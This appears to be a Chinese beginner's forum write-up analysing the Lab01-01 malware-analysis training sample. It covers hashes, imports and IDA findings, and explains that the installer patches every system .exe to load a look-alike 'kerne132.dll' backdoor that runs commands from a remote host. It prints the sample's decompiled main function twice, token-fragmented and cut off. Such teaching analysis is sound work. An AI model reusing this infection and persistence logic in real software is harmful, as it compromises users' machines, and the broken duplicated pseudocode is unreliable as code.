-
-
[原创]新手的恶意代码分析记录(一)_Lab01-01
-
发表于: 2021-8-17 22:02 7507
-
样本基本信息:
样本名称:Lab01-01.dll
样本大小:163840 bytes
MD5:290934C61DE9176AD682FFDD65F0A669
样本名称:Lab01-01.exe
样本大小:16384 bytes
MD5:5A016FACBCB77E2009A01EA5C67B39AF209C3FCB
使用cff_Explorer 查看样本基本信息
使用查壳工具die查看,可以看出来,两个程序并没有加壳,并且是使用VC6.0编写的。
查看 Lab01-01.dll 程序的导入表信息,可以看到该程序主要加载了3个dll。
KERNEL32.dll:包括操作系统核心功能,如访问和操作内存、文件和硬件等
WS2_32.dll:与网络连接相关
MSVCRT.dll:C语言运行库文件
一些相关的函数
查看Lab01-01.exe程序的导入表信息,可以看到该程序主要加载了2个dll。
可以看到是用到了大量的与文件操作的函数。
使用火绒剑监控该程序,发现并没有什么异常
首先,在https://www.virustotal.com/上可以看到各个反病毒引擎对该文件的扫描过程。
接下来使用IDA查看Lab01-01.exe这个文件
通过对主函数进行分析,得出如下结论:
1、首先程序会判断程序参数是否正确,如果参数不正确,便会退出程序。如果参数正确,就会继续执行相关函数。所以,该程序的·正确启动方式为:
2、之后的话,该程序会打开两个文件,一个是C:\Windows\System32\Kernel32.dll,另一个是 Lab01-01.dll文件,程序最后会关闭这两个文件,并将现有的Lab01-01.dll 文件复制到 新建的 C:\windows\system32\kerne132.dll 文件中去,故,这里猜想,中间的那段程序代码应该是对 Lab01-01.dll 文件执行了相关操作,具体什么样的操作,后面详细分析。
通过对sub_4011E0函数进行分析,得出如下结论:
1、首先,这个函数是一个文件查找函数,它递归的查找文件系统上的所有文件,当找到一个后缀为exe的可执行程序时,执行sub_4010A0函数。
接下来查看sub_4010A0函数
通过对sub_4010A0函数进行分析,得出如下结论:
1、该函数打开找到的后缀为.exe的可执行程序,然后替换程序中的kernel32.dll字符串为kerne132.dll。
通过对Lab01-01.exe初步分析,主要得到了下面的结论与想法:
由于kerne132.dll是通过Lab01-01.dll复制而来,所以,分析Lab01-01.dll至为重要。
遗留下来的问题:主函数中对Lab01-01.dll文件究竟进行了什么操作?
接下来使用IDA查看Lab01-01.dll这个文件
对这个DllMain主函数进行分析,得出如下结论:
这个Dll程序大概就分析到这里,总结一下:
通过这个程序,来连接到一个远程主机,主要有两个命令,一个是Sleep,用来睡眠,另一个是用来执行命令,创建新的进程。
通过前面的分析,对这两个程序有了一个比较清楚的认识,接下来使用动态调试工具调试一下。
主要解决刚才遗留下来的一个问题:
在Lab01-01.exe程序主函数中对Lab01-01.dll文件究竟进行了什么操作?
在0x401813处下断点,查看火绒剑监控到的相关信息
可以看到有对exe可执行程序修改的痕迹。
使用CFF explorer查看修改后的exe文件信息
可以看到,可执行文件在加载DLL时,加载的不再是kernel32.dll,而将会是kerne132.dll ,而这个dll在加载的时候就会执行后门程序。
接下来看一下kerne132.dll 程序
kerne132.dll 程序多了一些导出函数,这就解决了上面提出的问题:在Lab01-01.exe程序主函数中对Lab01-01.dll文件究竟进行了什么操作?可以看到,在这段操作里,是将kernel32.dll 中的导出节复制到了Lab01-01.dll中去。我们可以看到,它导出了所有kernel32.dll中的导出函数,并且这些函数是经过重定向的,所以不会对其他程序造成影响。所以,在Lab01-01.exe程序主函数中是解析kernel32.dll的导出节,并在Lab01-01.dll中创建一个同样的导出节。
字符串:
WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
kerne132.dll
SADFHUHF
该样本通过新建一个kerne132.dll,并修改系统上的每一个导入kernel32.dll的exe程序,达到执行exe程序时,总会加载恶意代码,达到持久化驻留。可以修改kernel32.dll程序为kerne132.dll程序,保证恶意代码不会被加载。
Kernel32.dll
Sleep:暂停当前线程的执行
CreateProcessA:创建一个新进程及其主线程。新进程在调用进程的安全上下文中运行。
CreateMutexA:创建或打开命名的或未命名的互斥对象。
OpenMutexA:打开现有的命名互斥对象。
CloseHandle:关闭打开的对象句柄。
Kernel32.dll
Sleep:暂停当前线程的执行
CreateProcessA:创建一个新进程及其主线程。新进程在调用进程的安全上下文中运行。
CreateMutexA:创建或打开命名的或未命名的互斥对象。
OpenMutexA:打开现有的命名互斥对象。
CloseHandle:关闭打开的对象句柄。
Kernel32.dll
CloseHandle:关闭打开的对象句柄。
UnmapViewOfFile:从调用进程的地址空间取消映射文件的映射视图。
IsBadReadPtr:验证调用进程是否具有对指定内存范围的读访问权限。
MapViewOfFile:将文件映射的视图映射到调用进程的地址空间。
CreateFileMappingA:创建或打开指定文件的命名或未命名文件映射对象
CreateFileA:创建或打开文件或 i
/
o 设备。
FindClose:关闭由FindFirstFile、 FindFirstFileEx、 FindFirstFileNameW、 FindFirstFileNameTransactedW、 FindFirstFileTransacted、
FindFirstStreamTransactedW或 FindFirstStreamW函数打开的文件搜索句柄 。
FindNextFileA:从以前对 FindFirstFile、 FindFirstFileEx 或 FindFirstFileTransacted 函数的调用继续进行文件搜索。
FindFirstFileA:在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录。
CopyFileA:将现有文件复制到新文件。
Kernel32.dll
CloseHandle:关闭打开的对象句柄。
UnmapViewOfFile:从调用进程的地址空间取消映射文件的映射视图。
IsBadReadPtr:验证调用进程是否具有对指定内存范围的读访问权限。
MapViewOfFile:将文件映射的视图映射到调用进程的地址空间。
CreateFileMappingA:创建或打开指定文件的命名或未命名文件映射对象
CreateFileA:创建或打开文件或 i
/
o 设备。
FindClose:关闭由FindFirstFile、 FindFirstFileEx、 FindFirstFileNameW、 FindFirstFileNameTransactedW、 FindFirstFileTransacted、
FindFirstStreamTransactedW或 FindFirstStreamW函数打开的文件搜索句柄 。
FindNextFileA:从以前对 FindFirstFile、 FindFirstFileEx 或 FindFirstFileTransacted 函数的调用继续进行文件搜索。
FindFirstFileA:在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录。
CopyFileA:将现有文件复制到新文件。
main函数
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
HANDLE v3;
/
/
eax
_DWORD
*
v4;
/
/
esi
HANDLE v5;
/
/
eax
HANDLE v6;
/
/
eax
const char
*
*
v7;
/
/
ebp
_DWORD
*
v8;
/
/
eax
const char
*
v9;
/
/
esi
_DWORD
*
v10;
/
/
ebx
int
v11;
/
/
ebp
_DWORD
*
v12;
/
/
eax
unsigned
int
v13;
/
/
edi
int
v14;
/
/
eax
int
v15;
/
/
ecx
int
v16;
/
/
edx
int
v17;
/
/
esi
int
v18;
/
/
edi
char
*
v19;
/
/
ebx
_DWORD
*
v20;
/
/
eax
const char
*
*
v21;
/
/
ecx
unsigned
int
v22;
/
/
edx
_DWORD
*
v23;
/
/
ebp
const char
*
v24;
/
/
edx
unsigned
int
v25;
/
/
kr08_4
char
*
v26;
/
/
eax
char
*
v27;
/
/
ebx
unsigned
int
v28;
/
/
kr10_4
bool
v29;
/
/
cf
_WORD
*
v31;
/
/
[esp
+
10h
] [ebp
-
44h
]
unsigned __int16
*
v32;
/
/
[esp
+
14h
] [ebp
-
40h
]
_DWORD
*
v33;
/
/
[esp
+
18h
] [ebp
-
3Ch
]
_DWORD
*
v34;
/
/
[esp
+
1Ch
] [ebp
-
38h
]
int
v35;
/
/
[esp
+
20h
] [ebp
-
34h
]
_DWORD
*
v36;
/
/
[esp
+
24h
] [ebp
-
30h
]
int
v37;
/
/
[esp
+
28h
] [ebp
-
2Ch
]
int
i;
/
/
[esp
+
2Ch
] [ebp
-
28h
]
_DWORD
*
v39;
/
/
[esp
+
30h
] [ebp
-
24h
]
unsigned __int16
*
v40;
/
/
[esp
+
34h
] [ebp
-
20h
]
char
*
v41;
/
/
[esp
+
38h
] [ebp
-
1Ch
]
int
v42;
/
/
[esp
+
3Ch
] [ebp
-
18h
]
int
v43;
/
/
[esp
+
44h
] [ebp
-
10h
]
int
v44;
/
/
[esp
+
48h
] [ebp
-
Ch]
HANDLE hObject;
/
/
[esp
+
4Ch
] [ebp
-
8h
]
HANDLE v46;
/
/
[esp
+
50h
] [ebp
-
4h
]
int
argca;
/
/
[esp
+
58h
] [ebp
+
4h
]
const char
*
*
argva;
/
/
[esp
+
5Ch
] [ebp
+
8h
]
const char
*
*
argvb;
/
/
[esp
+
5Ch
] [ebp
+
8h
]
if
( argc
=
=
2
&& !strcmp(argv[
1
], aWarningThisWil) )
/
/
参数
2
:WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
{
hObject
=
CreateFileA(FileName,
0x80000000
,
1u
,
0
,
3u
,
0
,
0
);
/
/
创建或打开的文件:C:\Windows\System32\Kernel32.dll
v3
=
CreateFileMappingA(hObject,
0
,
2u
,
0
,
0
,
0
);
/
/
创建或打开指定文件的命名或未命名文件映射对象 C:\Windows\System32\Kernel32.dll
v4
=
MapViewOfFile(v3,
4u
,
0
,
0
,
0
);
/
/
将文件映射的视图映射到调用进程的地址空间:C:\Windows\System32\Kernel32.dll
argca
=
(
int
)v4;
v5
=
CreateFileA(ExistingFileName,
0x10000000u
,
1u
,
0
,
3u
,
0
,
0
);
/
/
创建或打开的文件:Lab01
-
01.dll
v46
=
v5;
if
( v5
=
=
(HANDLE)
-
1
)
exit(
0
);
v6
=
CreateFileMappingA(v5,
0
,
4u
,
0
,
0
,
0
);
/
/
创建或打开指定文件的命名或未命名文件映射对象
if
( v6
=
=
(HANDLE)
-
1
)
exit(
0
);
v7
=
(const char
*
*
)MapViewOfFile(v6,
0xF001Fu
,
0
,
0
,
0
);
/
/
将文件映射的视图映射到调用进程的地址空间
argva
=
v7;
if
( !v7 )
exit(
0
);
v41
=
(char
*
)v4
+
v4[
15
];
v8
=
(_DWORD
*
)sub_401040(
*
((_DWORD
*
)v41
+
30
), v41, v4);
v9
=
&v7[
15
][(_DWORD)v7];
v10
=
v8;
v36
=
v8;
v11
=
sub_401040(
*
((_DWORD
*
)v9
+
30
), v9, v7);
v34
=
(_DWORD
*
)sub_401040(v10[
7
], v41, argca);
v40
=
(unsigned __int16
*
)sub_401040(v10[
9
], v41, argca);
v12
=
(_DWORD
*
)sub_401040(v10[
8
], v41, argca);
v13
=
*
((_DWORD
*
)v9
+
31
);
v39
=
v12;
v14
=
sub_401070(
*
((_DWORD
*
)v9
+
30
), v9, argva);
qmemcpy((void
*
)v11, v10, v13);
v42
=
v14;
v15
=
v10[
5
];
*
(_DWORD
*
)(v11
+
20
)
=
v15;
*
(_DWORD
*
)(v11
+
24
)
=
v10[
6
];
*
(_DWORD
*
)(v11
+
12
)
=
v11
+
40
+
v14;
v35
=
v11
+
56
;
strcpy((char
*
)(v11
+
40
),
"kerne132.dll"
);
v16
=
*
(_DWORD
*
)(v11
+
20
);
v17
=
v11
+
56
+
4
*
v16;
v18
=
v11
+
56
+
8
*
v16;
v44
=
v17;
v43
=
v18;
v19
=
(char
*
)(
16
*
v15
+
v11
+
56
);
*
(_DWORD
*
)(v11
+
28
)
=
v11
+
56
+
v14;
*
(_DWORD
*
)(v11
+
36
)
=
v17
+
v14;
*
(_DWORD
*
)(v11
+
32
)
=
v18
+
v14;
v20
=
v36;
v21
=
0
;
v22
=
0
;
argvb
=
0
;
for
( i
=
0
; v22 < v20[
5
];
+
+
v34 )
{
if
(
*
v34 )
{
v37
=
0
;
if
( v20[
6
] )
{
v23
=
(_DWORD
*
)(v35
+
4
*
(_DWORD)v21);
v31
=
(_WORD
*
)(v17
+
2
*
(_DWORD)v21);
v33
=
v39;
v32
=
v40;
do
{
if
(
*
v32
=
=
v22 )
{
v24
=
(const char
*
)sub_401040(
*
v33, v41, argca);
strcpy(v19, v24);
*
v31
=
(_WORD)argvb;
*
(_DWORD
*
)((char
*
)v23
+
v18
-
v35)
=
&v19[v42];
v25
=
strlen(v24)
+
1
;
v26
=
&v19[v25];
v27
=
&v19[v25
+
9
];
*
v23
=
&v26[v42];
*
(_DWORD
*
)v26
=
dword_403070;
*
((_DWORD
*
)v26
+
1
)
=
dword_403074;
v26[
8
]
=
byte_403078;
strcpy(v27, v24);
v28
=
strlen(v24)
+
1
;
v20
=
v36;
argvb
=
(const char
*
*
)((char
*
)argvb
+
1
);
v22
=
i;
v19
=
&v27[v28];
+
+
v23;
+
+
v31;
}
+
+
v32;
v29
=
(unsigned
int
)
+
+
v37 < v20[
6
];
+
+
v33;
}
while
( v29 );
v21
=
argvb;
v18
=
v43;
v17
=
v44;
}
}
i
=
+
+
v22;
}
CloseHandle(hObject);
/
/
关闭打开的对象句柄 C:\Windows\System32\Kernel32.dll
CloseHandle(v46);
/
/
关闭打开的对象句柄 Lab01
-
01.dll
if
( !CopyFileA(ExistingFileName, NewFileName,
0
) )
/
/
将现有文件复制到新文件 Lab01
-
01.dll
-
>> C:\windows\system32\kerne132.dll
exit(
0
);
sub_4011E0(aC,
0
);
/
/
递归函数 sub_4011E0
}
return
0
;
}
main函数
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
HANDLE v3;
/
/
eax
_DWORD
*
v4;
/
/
esi
HANDLE v5;
/
/
eax
HANDLE v6;
/
/
eax
const char
*
*
v7;
/
/
ebp
_DWORD
*
v8;
/
/
eax
const char
*
v9;
/
/
esi
_DWORD
*
v10;
/
/
ebx
int
v11;
/
/
ebp
_DWORD
*
v12;
/
/
eax
unsigned
int
v13;
/
/
edi
int
v14;
/
/
eax
int
v15;
/
/
ecx
int
v16;
/
/
edx
int
v17;
/
/
esi
int
v18;
/
/
edi
char
*
v19;
/
/
ebx
_DWORD
*
v20;
/
/
eax
const char
*
*
v21;
/
/
ecx
unsigned
int
v22;
/
/
edx
_DWORD
*
v23;
/
/
ebp
const char
*
v24;
/
/
edx
unsigned
int
v25;
/
/
kr08_4
char
*
v26;
/
/
eax
char
*
v27;
/
/
ebx
unsigned
int
v28;
/
/
kr10_4
bool
v29;
/
/
cf
_WORD
*
v31;
/
/
[esp
+
10h
] [ebp
-
44h
]
unsigned __int16
*
v32;
/
/
[esp
+
14h
] [ebp
-
40h
]
_DWORD
*
v33;
/
/
[esp
+
18h
] [ebp
-
3Ch
]
_DWORD
*
v34;
/
/
[esp
+
1Ch
] [ebp
-
38h
]
int
v35;
/
/
[esp
+
20h
] [ebp
-
34h
]
_DWORD
*
v36;
/
/
[esp
+
24h
] [ebp
-
30h
]
int
v37;
/
/
[esp
+
28h
] [ebp
-
2Ch
]
int
i;
/
/
[esp
+
2Ch
] [ebp
-
28h
]
_DWORD
*
v39;
/
/
[esp
+
30h
] [ebp
-
24h
]
unsigned __int16
*
v40;
/
/
[esp
+
34h
] [ebp
-
20h
]
char
*
v41;
/
/
[esp
+
38h
] [ebp
-
1Ch
]
int
v42;
/
/
[esp
+
3Ch
] [ebp
-
18h
]
int
v43;
/
/
[esp
+
44h
] [ebp
-
10h
]
int
v44;
/
/
[esp
+
48h
] [ebp
-
Ch]
HANDLE hObject;
/
/
[esp
+
4Ch
] [ebp
-
8h
]
HANDLE v46;
/
/
[esp
+
50h
] [ebp
-
4h
]
int
argca;
/
/
[esp
+
58h
] [ebp
+
4h
]
const char
*
*
argva;
/
/
[esp
+
5Ch
] [ebp
+
8h
]
const char
*
*
argvb;
/
/
[esp
+
5Ch
] [ebp
+
8h
]
if
( argc
=
=
2
&& !strcmp(argv[
1
], aWarningThisWil) )
/
/
参数
2
:WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
{
hObject
=
CreateFileA(FileName,
0x80000000
,
1u
,
0
,
3u
,
0
,
0
);
/
/
创建或打开的文件:C:\Windows\System32\Kernel32.dll
v3
=
CreateFileMappingA(hObject,
0
,
2u
,
0
,
0
,
0
);
/
/
创建或打开指定文件的命名或未命名文件映射对象 C:\Windows\System32\Kernel32.dll
v4
=
MapViewOfFile(v3,
4u
,
0
,
0
,
0
);
/
/
将文件映射的视图映射到调用进程的地址空间:C:\Windows\System32\Kernel32.dll
argca
=
(
int
)v4;
v5
=
CreateFileA(ExistingFileName,
0x10000000u
,
1u
,
0
,
3u
,
0
,
0
);
/
/
创建或打开的文件:Lab01
-
01.dll
v46
=
v5;
if
( v5
=
=
(HANDLE)
-
1
)
exit(
0
);
v6
=
CreateFileMappingA(v5,
0
,
4u
,
0
,
0
,
0
);
/
/
创建或打开指定文件的命名或未命名文件映射对象
if
( v6
=
=
(HANDLE)
-
1
)
exit(
0
);
v7
=
(const char
*
*
)MapViewOfFile(v6,
0xF001Fu
,
0
,
0
,
0
);
/
/
将文件映射的视图映射到调用进程的地址空间
argva
=
v7;
if
( !v7 )
exit(
0
);
v41
=
(char
*
)v4
+
v4[
15
];
v8
=
(_DWORD
*
)sub_401040(
*
((_DWORD
*
)v41
+
30
), v41, v4);
v9
=
&v7[
15
][(_DWORD)v7];
v10
=
v8;
v36
=
v8;
v11
=
sub_401040(
*
((_DWORD
*
)v9
+
30
), v9, v7);
v34
=
(_DWORD
*
)sub_401040(v10[
7
], v41, argca);
v40
=
(unsigned __int16
*
)sub_401040(v10[
9
], v41, argca);
v12
=
(_DWORD
*
)sub_401040(v10[
8
], v41, argca);
v13
=
*
((_DWORD
*
)v9
+
31
);
v39
=
v12;
v14
=
sub_401070(
*
((_DWORD
*
)v9
+
30
), v9, argva);
qmemcpy((void
*
)v11, v10, v13);
v42
=
v14;
v15
=
v10[
5
];
*
(_DWORD
*
)(v11
+
20
)
=
v15;
*
(_DWORD
*
)(v11
+
24
)
=
v10[
6
];
*
(_DWORD
*
)(v11
+
12
)
=
v11
+
40
+
v14;
v35
=
v11
+
56
;
strcpy((char
*
)(v11
+
40
),
"kerne132.dll"
);
v16
=
*
(_DWORD
*
)(v11
+
20
);
v17
=
v11
+
56
+
4
*
v16;
v18
=
v11
+
56
+
8
*
v16;
v44
=
v17;
v43
=
v18;
v19
=
(char
*
)(
16
*
v15
+
v11
+
56
);
*
(_DWORD
*
)(v11
+
28
)
=
v11
+
56
+
v14;
*
(_DWORD
*
)(v11
+
36
)
=
v17
+
v14;
*
(_DWORD
*
)(v11
+
32
)
=
v18
+
v14;
v20
=
v36;
v21
=
0
;
v22
=
0
;
argvb
=
0
;
for
( i
=
0
; v22 < v20[
5
];
+
+
v34 )
{
if
(
*
v34 )
{
v37
=
0
;
if
( v20[
6
] )
{
v23
=
(_DWORD
*
)(v35
+
4
*
(_DWORD)v21);
v31
=
(_WORD
*
)(v17
+
2
*
(_DWORD)v21);
v33
=
v39;
v32
=
v40;
do
{
if
(
*
v32
=
=
v22 )
{
v24
=
(const char
*
)sub_401040(
*
v33, v41, argca);
strcpy(v19, v24);
*
v31
=
(_WORD)argvb;
*
(_DWORD
*
)((char
*
)v23
+
v18
-
v35)
=
&v19[v42];
v25
=
strlen(v24)
+
1
;
v26
=
&v19[v25];
v27
=
&v19[v25
+
9
];
*
v23
=
&v26[v42];
*
(_DWORD
*
)v26
=
dword_403070;